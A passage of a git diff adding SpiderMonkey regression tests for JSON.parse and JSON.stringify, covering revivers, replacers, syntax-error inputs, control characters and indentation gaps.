+ * Now let's try a reviver that deletes every property but a mega-huge one.
+ */
+var str = "[";
+var expected = "";
+var expected2 = "";
+for (var i = 0; i < 2048; i++)
+{
+ str += "1,";
+ if (i === 2047)
+ {
+ expected += "1";
+ expected2 += "1";
+ }
+ if (i === 3)
+ expected2 += "17";
+ expected += ",";
+ expected2 += ",";
+}
+str += "1]";
+
+assertEq(JSON.parse(str,
+ function reviver(k, v)
+ {
+ if (k === "" || k === "2047")
+ return v;
+ return undefined;
+ }) + "",
+ expected);
+
+
+Array.prototype[3] = 17;
+
+/* Now, with a property on the prototype chain, it'll show through. */
+assertEq(JSON.parse('[1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0]',
+ function revive(k, v)
+ {
+ if (k === "")
+ return v;
+ return undefined;
+ }) + "",
+ ",,,17,,,,,,,,,,,,,,,,");
+
+
+/* And here too. */
+assertEq(JSON.parse(str,
+ function reviver(k, v)
+ {
+ if (k === "" || k === "2047")
+ return v;
+ return undefined;
+ }) + "",
+ expected2);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-reviver.js b/js/src/tests/non262/JSON/parse-reviver.js
new file mode 100644
index 0000000000..41e3daf704
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-reviver.js
@@ -0,0 +1,45 @@
+function doubler(k, v)
+{
+ assertEq(typeof k, "string");
+
+ if (typeof v == "number")
+ return 2 * v;
+
+ return v;
+}
+
+var x = JSON.parse('{"a":5,"b":6}', doubler);
+assertEq(x.hasOwnProperty('a'), true);
+assertEq(x.hasOwnProperty('b'), true);
+assertEq(x.a, 10);
+assertEq(x.b, 12);
+
+x = JSON.parse('[3, 4, 5]', doubler);
+assertEq(x[0], 6);
+assertEq(x[1], 8);
+assertEq(x[2], 10);
+
+// make sure reviver isn't called after a failed parse
+var called = false;
+function dontCallMe(k, v)
+{
+ called = true;
+}
+
+try
+{
+ JSON.parse('{{{{{{{}}}}', dontCallMe);
+ throw new Error("didn't throw?");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true, "wrong exception: " + e);
+}
+assertEq(called, false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-syntax-errors-01.js b/js/src/tests/non262/JSON/parse-syntax-errors-01.js
new file mode 100644
index 0000000000..cbb49b0eb7
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-syntax-errors-01.js
@@ -0,0 +1,13 @@
+testJSON("{}...", true);
+testJSON('{"foo": truBBBB}', true);
+testJSON('{foo: truBBBB}', true);
+testJSON('{"foo": undefined}', true);
+testJSON('{"foo": ]', true);
+testJSON('{"foo', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-syntax-errors-02.js b/js/src/tests/non262/JSON/parse-syntax-errors-02.js
new file mode 100644
index 0000000000..b304e07ca0
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-syntax-errors-02.js
@@ -0,0 +1,43 @@
+testJSON('"Unterminated string literal', true);
+testJSON('["Unclosed array"', true);
+testJSON('{unquoted_key: "keys must be quoted"}', true);
+testJSON('["extra comma",]', true);
+testJSON('["double extra comma",,]', true);
+testJSON('[ , "<-- missing value"]', true);
+testJSON('["Comma after the close"],', true);
+testJSON('["Extra close"]]', true);
+testJSON('{"Extra comma": true,}', true);
+testJSON('{"Extra value after close": true} "misplaced quoted value"', true);
+testJSON('{"Illegal expression": 1 + 2}', true);
+testJSON('{"Illegal invocation": alert()}', true);
+testJSON('{"Numbers cannot be hex": 0x14}', true);
+testJSON('["Illegal backslash escape: \\x15"]', true);
+testJSON('[\\naked]', true);
+testJSON('["Illegal backslash escape: \\017"]', true);
+testJSON('{"Missing colon" null}', true);
+testJSON('{"Double colon":: null}', true);
+testJSON('{"Comma instead of colon", null}', true);
+testJSON('["Colon instead of comma": false]', true);
+testJSON('["Bad value", truth]', true);
+testJSON("['single quote']", true);
+testJSON('[" tab character in string "]', true);
+testJSON('["tab\\ character\\ in\\ string\\ "]', true);
+testJSON('["line\rbreak"]', true);
+testJSON('["line\nbreak"]', true);
+testJSON('["line\r\nbreak"]', true);
+testJSON('["line\\\rbreak"]', true);
+testJSON('["line\\\nbreak"]', true);
+testJSON('["line\\\r\nbreak"]', true);
+testJSON('[0e]', true);
+testJSON('[0e+]', true);
+testJSON('[0e+-1]', true);
+testJSON('{"Comma instead of closing brace": true,', true);
+testJSON('["mismatch"}', true);
+testJSON('0{', true);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse-syntax-errors-03.js b/js/src/tests/non262/JSON/parse-syntax-errors-03.js
new file mode 100644
index 0000000000..5cdf585a40
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse-syntax-errors-03.js
@@ -0,0 +1,55 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+testJSON('[', true);
+testJSON('[1', true);
+testJSON('[1,]', true);
+testJSON('[1,{', true);
+testJSON('[1,}', true);
+testJSON('[1,{]', true);
+testJSON('[1,}]', true);
+testJSON('[1,{"', true);
+testJSON('[1,}"', true);
+testJSON('[1,{"\\', true);
+testJSON('[1,}"\\', true);
+testJSON('[1,"', true);
+testJSON('[1,"\\', true);
+
+testJSON('{', true);
+testJSON('{1', true);
+testJSON('{,', true);
+testJSON('{"', true);
+testJSON('{"\\', true);
+testJSON('{"\\u', true);
+testJSON('{"\\uG', true);
+testJSON('{"\\u0', true);
+testJSON('{"\\u01', true);
+testJSON('{"\\u012', true);
+testJSON('{"\\u0123', true);
+testJSON('{"\\u0123"', true);
+testJSON('{"a"', true);
+testJSON('{"a"}', true);
+testJSON('{"a":', true);
+testJSON('{"a",}', true);
+testJSON('{"a":}', true);
+testJSON('{"a":,}', true);
+testJSON('{"a":5,}', true);
+testJSON('{"a":5,[', true);
+testJSON('{"a":5,"', true);
+testJSON('{"a":5,"', true);
+testJSON('{"a":5,"\\', true);
+testJSON("a[false ]".substring(1, 7) /* "[false" */, true);
+
+testJSON('this', true);
+
+testJSON('[1,{}]', false);
+testJSON('{}', false);
+testJSON('{"a":5}', false);
+testJSON('{"\\u0123":5}', false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/parse.js b/js/src/tests/non262/JSON/parse.js
new file mode 100644
index 0000000000..ff9dc51a79
--- /dev/null
+++ b/js/src/tests/non262/JSON/parse.js
@@ -0,0 +1,175 @@
+function assertIsObject(x)
+{
+ assertEq(typeof x, "object");
+ assertEq(x instanceof Object, true);
+}
+
+function assertIsArray(x)
+{
+ assertIsObject(x);
+ assertEq(Array.isArray(x), true);
+ assertEq(Object.getPrototypeOf(x), Array.prototype);
+ assertEq(x instanceof Array, true);
+ assertEq(x.constructor, Array);
+}
+
+var x;
+var props;
+
+// empty object
+x = JSON.parse("{}");
+assertIsObject(x);
+assertEq(Object.getOwnPropertyNames(x).length, 0);
+
+// empty array
+x = JSON.parse("[]");
+assertIsArray(x);
+assertEq(x.length, 0);
+
+// one element array
+x = JSON.parse("[[]]");
+assertIsArray(x);
+assertEq(x.length, 1);
+assertIsArray(x[0]);
+assertEq(x[0].length, 0);
+
+// multiple arrays
+x = JSON.parse("[[],[],[]]");
+assertIsArray(x);
+assertEq(x.length, 3);
+assertIsArray(x[0]);
+assertEq(x[0].length, 0);
+assertIsArray(x[1]);
+assertEq(x[1].length, 0);
+assertIsArray(x[2]);
+assertEq(x[2].length, 0);
+
+// array key/value
+x = JSON.parse('{"foo":[]}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertIsArray(x.foo);
+assertEq(x.foo.length, 0);
+
+x = JSON.parse('{"foo":[], "bar":[]}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 2);
+assertEq(props[0], "bar");
+assertEq(props[1], "foo");
+assertIsArray(x.foo);
+assertEq(x.foo.length, 0);
+assertIsArray(x.bar);
+assertEq(x.bar.length, 0);
+
+// nesting
+x = JSON.parse('{"foo":[{}]}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertIsArray(x.foo);
+assertEq(x.foo.length, 1);
+assertIsObject(x.foo[0]);
+assertEq(Object.getOwnPropertyNames(x.foo[0]).length, 0);
+
+x = JSON.parse('{"foo":[{"foo":[{"foo":{}}]}]}');
+assertIsObject(x.foo[0].foo[0].foo);
+
+x = JSON.parse('{"foo":[{"foo":[{"foo":[]}]}]}');
+assertIsArray(x.foo[0].foo[0].foo);
+
+// strings
+x = JSON.parse('{"foo":"bar"}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertEq(x.foo, "bar");
+
+x = JSON.parse('["foo", "bar", "baz"]');
+assertIsArray(x);
+assertEq(x.length, 3);
+assertEq(x[0], "foo");
+assertEq(x[1], "bar");
+assertEq(x[2], "baz");
+
+// numbers
+x = JSON.parse('{"foo":5.5, "bar":5}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 2);
+assertEq(props[0], "bar");
+assertEq(props[1], "foo");
+assertEq(x.foo, 5.5);
+assertEq(x.bar, 5);
+
+// keywords
+x = JSON.parse('{"foo": true, "bar":false, "baz":null}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 3);
+assertEq(props[0], "bar");
+assertEq(props[1], "baz");
+assertEq(props[2], "foo");
+assertEq(x.foo, true);
+assertEq(x.bar, false);
+assertEq(x.baz, null);
+
+// short escapes
+x = JSON.parse('{"foo": "\\"", "bar":"\\\\", "baz":"\\b","qux":"\\f", "quux":"\\n", "quuux":"\\r","quuuux":"\\t"}');
+props = Object.getOwnPropertyNames(x).sort();
+assertEq(props.length, 7);
+assertEq(props[0], "bar");
+assertEq(props[1], "baz");
+assertEq(props[2], "foo");
+assertEq(props[3], "quuuux");
+assertEq(props[4], "quuux");
+assertEq(props[5], "quux");
+assertEq(props[6], "qux");
+assertEq(x.foo, '"');
+assertEq(x.bar, '\\');
+assertEq(x.baz, '\b');
+assertEq(x.qux, '\f');
+assertEq(x.quux, "\n");
+assertEq(x.quuux, "\r");
+assertEq(x.quuuux, "\t");
+
+// unicode escape
+x = JSON.parse('{"foo":"hmm\\u006dmm"}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "foo");
+assertEq("hmm\u006dmm", x.foo);
+
+x = JSON.parse('{"hmm\\u006dmm":"foo"}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "hmmmmm");
+assertEq(x.hmm\u006dmm, "foo");
+
+// miscellaneous
+x = JSON.parse('{"JSON Test Pattern pass3": {"The outermost value": "must be an object or array.","In this test": "It is an object." }}');
+assertIsObject(x);
+props = Object.getOwnPropertyNames(x);
+assertEq(props.length, 1);
+assertEq(props[0], "JSON Test Pattern pass3");
+assertIsObject(x["JSON Test Pattern pass3"]);
+props = Object.getOwnPropertyNames(x["JSON Test Pattern pass3"]).sort();
+assertEq(props.length, 2);
+assertEq(props[0], "In this test");
+assertEq(props[1], "The outermost value");
+assertEq(x["JSON Test Pattern pass3"]["The outermost value"],
+ "must be an object or array.");
+assertEq(x["JSON Test Pattern pass3"]["In this test"], "It is an object.");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/regress-458959.js b/js/src/tests/non262/JSON/regress-458959.js
new file mode 100644
index 0000000000..648918e8ed
--- /dev/null
+++ b/js/src/tests/non262/JSON/regress-458959.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 458959;
+var summary = 'this.JSON should not be enumerable';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i in this)
+ {
+ if (i.toString() == 'JSON')
+ actual = i;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/JSON/regress-459293.js b/js/src/tests/non262/JSON/regress-459293.js
new file mode 100644
index 0000000000..fbd46589ca
--- /dev/null
+++ b/js/src/tests/non262/JSON/regress-459293.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 459293;
+var summary = 'Allow redeclaration of JSON';
+var actual = '';
+var expect = '';
+
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval('var JSON = "foo";');
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/JSON/shell.js b/js/src/tests/non262/JSON/shell.js
new file mode 100644
index 0000000000..00f3243dac
--- /dev/null
+++ b/js/src/tests/non262/JSON/shell.js
@@ -0,0 +1,110 @@
+function testJSON(str, expectSyntaxError)
+{
+ // Leading and trailing whitespace never affect parsing, so test the string
+ // multiple times with and without whitespace around it as it's easy and can
+ // potentially detect bugs.
+
+ // Try the provided string
+ try
+ {
+ JSON.parse(str);
+ reportCompare(false, expectSyntaxError,
+ "string <" + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string <" + str + "> threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string <" + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+
+ // Now try the provided string with trailing whitespace
+ try
+ {
+ JSON.parse(str + " ");
+ reportCompare(false, expectSyntaxError,
+ "string <" + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string <" + str + " > threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string <" + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+
+ // Now try the provided string with leading whitespace
+ try
+ {
+ JSON.parse(" " + str);
+ reportCompare(false, expectSyntaxError,
+ "string < " + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string < " + str + "> threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string < " + str + "> " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+
+ // Now try the provided string with whitespace surrounding it
+ try
+ {
+ JSON.parse(" " + str + " ");
+ reportCompare(false, expectSyntaxError,
+ "string < " + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON");
+ }
+ catch (e)
+ {
+ if (!(e instanceof SyntaxError))
+ {
+ reportCompare(true, false,
+ "parsing string < " + str + " > threw a non-SyntaxError " +
+ "exception: " + e);
+ }
+ else
+ {
+ reportCompare(true, expectSyntaxError,
+ "string < " + str + " > " +
+ "should" + (expectSyntaxError ? "n't" : "") + " " +
+ "have parsed as JSON, exception: " + e);
+ }
+ }
+}
diff --git a/js/src/tests/non262/JSON/small-codepoints.js b/js/src/tests/non262/JSON/small-codepoints.js
new file mode 100644
index 0000000000..6afa5f8ce8
--- /dev/null
+++ b/js/src/tests/non262/JSON/small-codepoints.js
@@ -0,0 +1,16 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'small-codepoints.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 554079;
+var summary = 'JSON.parse should reject U+0000 through U+001F';
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+for (var i = 0; i <= 0x1F; i++)
+ testJSON('["a' + String.fromCharCode(i) + 'c"]', true);
diff --git a/js/src/tests/non262/JSON/stringify-boxed-primitives.js b/js/src/tests/non262/JSON/stringify-boxed-primitives.js
new file mode 100644
index 0000000000..0769c2ec6f
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-boxed-primitives.js
@@ -0,0 +1,127 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-boxed-primitives.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Stringification of Boolean/String/Number objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function redefine(obj, prop, fun)
+{
+ var desc =
+ { value: fun, writable: true, configurable: true, enumerable: false };
+ Object.defineProperty(obj, prop, desc);
+}
+
+assertEq(JSON.stringify(new Boolean(false)), "false");
+
+assertEq(JSON.stringify(new Number(5)), "5");
+
+assertEq(JSON.stringify(new String("foopy")), '"foopy"');
+
+
+var numToString = Number.prototype.toString;
+var numValueOf = Number.prototype.valueOf;
+var objToString = Object.prototype.toString;
+var objValueOf = Object.prototype.valueOf;
+var boolToString = Boolean.prototype.toString;
+var boolValueOf = Boolean.prototype.valueOf;
+
+redefine(Boolean.prototype, "toString", function() { return 17; });
+assertEq(JSON.stringify(new Boolean(false)), "false")
+delete Boolean.prototype.toString;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+delete Object.prototype.toString;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+delete Boolean.prototype.valueOf;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+delete Object.prototype.valueOf;
+assertEq(JSON.stringify(new Boolean(false)), "false");
+
+
+redefine(Boolean.prototype, "toString", boolToString);
+redefine(Boolean.prototype, "valueOf", boolValueOf);
+redefine(Object.prototype, "toString", objToString);
+redefine(Object.prototype, "valueOf", objValueOf);
+
+redefine(Number.prototype, "toString", function() { return 42; });
+assertEq(JSON.stringify(new Number(5)), "5");
+redefine(Number.prototype, "valueOf", function() { return 17; });
+assertEq(JSON.stringify(new Number(5)), "17");
+delete Number.prototype.toString;
+assertEq(JSON.stringify(new Number(5)), "17");
+delete Number.prototype.valueOf;
+assertEq(JSON.stringify(new Number(5)), "null"); // isNaN(Number("[object Number]"))
+delete Object.prototype.toString;
+try
+{
+ JSON.stringify(new Number(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToNumber failure, should throw TypeError");
+}
+delete Object.prototype.valueOf;
+try
+{
+ JSON.stringify(new Number(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToNumber failure, should throw TypeError");
+}
+
+
+redefine(Number.prototype, "toString", numToString);
+redefine(Number.prototype, "valueOf", numValueOf);
+redefine(Object.prototype, "toString", objToString);
+redefine(Object.prototype, "valueOf", objValueOf);
+
+
+redefine(String.prototype, "valueOf", function() { return 17; });
+assertEq(JSON.stringify(new String(5)), '"5"');
+redefine(String.prototype, "toString", function() { return 42; });
+assertEq(JSON.stringify(new String(5)), '"42"');
+delete String.prototype.toString;
+assertEq(JSON.stringify(new String(5)), '"[object String]"');
+delete Object.prototype.toString;
+assertEq(JSON.stringify(new String(5)), '"17"');
+delete String.prototype.valueOf;
+try
+{
+ JSON.stringify(new String(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToString failure, should throw TypeError");
+}
+delete Object.prototype.valueOf;
+try
+{
+ JSON.stringify(new String(5));
+ throw new Error("didn't throw");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "ToString failure, should throw TypeError");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/JSON/stringify-call-replacer-once.js b/js/src/tests/non262/JSON/stringify-call-replacer-once.js
new file mode 100644
index 0000000000..34e549b6e6
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-call-replacer-once.js
@@ -0,0 +1,34 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-call-replacer-once.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Call replacer function exactly once per value";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var factor = 1;
+function replacer(k, v)
+{
+ if (k === "")
+ return v;
+
+ return v * ++factor;
+}
+
+var obj = { a: 1, b: 2, c: 3 };
+
+assertEq(JSON.stringify(obj, replacer), '{"a":2,"b":6,"c":12}');
+assertEq(factor, 4);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-call-toJSON-once.js b/js/src/tests/non262/JSON/stringify-call-toJSON-once.js
new file mode 100644
index 0000000000..23917975d9
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-call-toJSON-once.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-call-toJSON-once.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "Stringification of Boolean/String/Number objects";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ p: {
+ toJSON: function()
+ {
+ return { toJSON: function() { return 17; } };
+ }
+ }
+ };
+
+assertEq(JSON.stringify(obj), '{"p":{}}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-dropping-elements.js b/js/src/tests/non262/JSON/stringify-dropping-elements.js
new file mode 100644
index 0000000000..58838e10d1
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-dropping-elements.js
@@ -0,0 +1,20 @@
+assertEq(JSON.stringify({foo: 123}),
+ '{"foo":123}');
+assertEq(JSON.stringify({foo: 123, bar: function () {}}),
+ '{"foo":123}');
+assertEq(JSON.stringify({foo: 123, bar: function () {}, baz: 123}),
+ '{"foo":123,"baz":123}');
+
+assertEq(JSON.stringify([123]),
+ '[123]');
+assertEq(JSON.stringify([123, function () {}]),
+ '[123,null]');
+assertEq(JSON.stringify([123, function () {}, 456]),
+ '[123,null,456]');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-gap.js b/js/src/tests/non262/JSON/stringify-gap.js
new file mode 100644
index 0000000000..8480b4b3ee
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-gap.js
@@ -0,0 +1,61 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-gap.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary =
+ "JSON.stringify(_1, _2, numberGreaterThanOne) produces wrong output";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var LF = "\n";
+var GAP = " ";
+
+var obj = { a: { b: [1, 2], c: { d: 3, e: 4 }, f: [], g: {}, h: [5], i: { j: 6 } } };
+
+var expected =
+ '{\n' +
+ ' "a": {\n' +
+ ' "b": [\n' +
+ ' 1,\n' +
+ ' 2\n' +
+ ' ],\n' +
+ ' "c": {\n' +
+ ' "d": 3,\n' +
+ ' "e": 4\n' +
+ ' },\n' +
+ ' "f": [],\n' +
+ ' "g": {},\n' +
+ ' "h": [\n' +
+ ' 5\n' +
+ ' ],\n' +
+ ' "i": {\n' +
+ ' "j": 6\n' +
+ ' }\n' +
+ ' }\n' +
+ '}';
+
+assertEq(JSON.stringify(obj, null, 3), expected);
+assertEq(JSON.stringify(obj, null, " "), expected);
+
+obj = [1, 2, 3];
+
+String.prototype.toString = function() { return "--"; };
+
+assertEq(JSON.stringify(obj, null, new String(" ")), "[\n--1,\n--2,\n--3\n]");
+
+Number.prototype.valueOf = function() { return 0; };
+
+assertEq(JSON.stringify(obj, null, new Number(3)), "[1,2,3]");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/JSON/stringify-ignore-noncallable-toJSON.js b/js/src/tests/non262/JSON/stringify-ignore-noncallable-toJSON.js
new file mode 100644
index 0000000000..e4ce0ce945
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-ignore-noncallable-toJSON.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-ignore-noncallable-toJSON.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 584909;
+var summary = "If the toJSON property isn't callable, don't try to call it";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj =
+ {
+ p: { toJSON: null },
+ m: { toJSON: {} }
+ };
+
+assertEq(JSON.stringify(obj), '{"p":{"toJSON":null},"m":{"toJSON":{}}}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-large-replacer-array.js b/js/src/tests/non262/JSON/stringify-large-replacer-array.js
new file mode 100644
index 0000000000..28180b4bf1
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-large-replacer-array.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-large-replacer-array.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 816033;
+var summary = "JSON.stringify with a large replacer array";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var replacer = [];
+for (var i = 0; i < 4096; i++)
+ replacer.push(i);
+
+assertEq(JSON.stringify({ "foopy": "FAIL", "4093": 17 }, replacer), '{"4093":17}');
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/JSON/stringify-missing-arguments.js b/js/src/tests/non262/JSON/stringify-missing-arguments.js
new file mode 100644
index 0000000000..18ca608357
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-missing-arguments.js
@@ -0,0 +1,22 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-missing-arguments.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 648471;
+var summary = "JSON.stringify with no arguments";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(JSON.stringify(), undefined);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/JSON/stringify-nonarray-noncallable-replacer.js b/js/src/tests/non262/JSON/stringify-nonarray-noncallable-replacer.js
new file mode 100644
index 0000000000..440fbc0aae
--- /dev/null
+++ b/js/src/tests/non262/JSON/stringify-nonarray-noncallable-replacer.js
@@ -0,0 +1,41 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var gTestfile = 'stringify-nonarray-noncallable-replacer.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 653782;
+var summary =
+ "Treat non-array, non-callable replacers as if none had been specified";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var obj = { p: 2 };
+var str = '{"p":2}';
+
+assertEq(JSON.stringify(obj), str);
+assertEq(JSON.stringify(obj, ["p"]), str);
+assertEq(JSON.stringify(obj, null), str);
+assertEq(JSON.stringify(obj, undefined), str);
+assertEq(JSON.stringify(obj, 2), str);
+assertEq(JSON.stringify(obj, Math.PI), str);
+assertEq(JSON.stringify(obj, NaN), str);
+assertEq(JSON.stringify(obj, true), str);
+assertEq(JSON.stringify(obj, false), str);
+assertEq(JSON.stringify(obj, Infinity), str);
+assertEq(JSON.stringify(obj, "foopy"), str);
+assertEq(JSON.stringify(obj, {}), str);
+assertEq(JSON.stringify(obj, /abcd/), str);
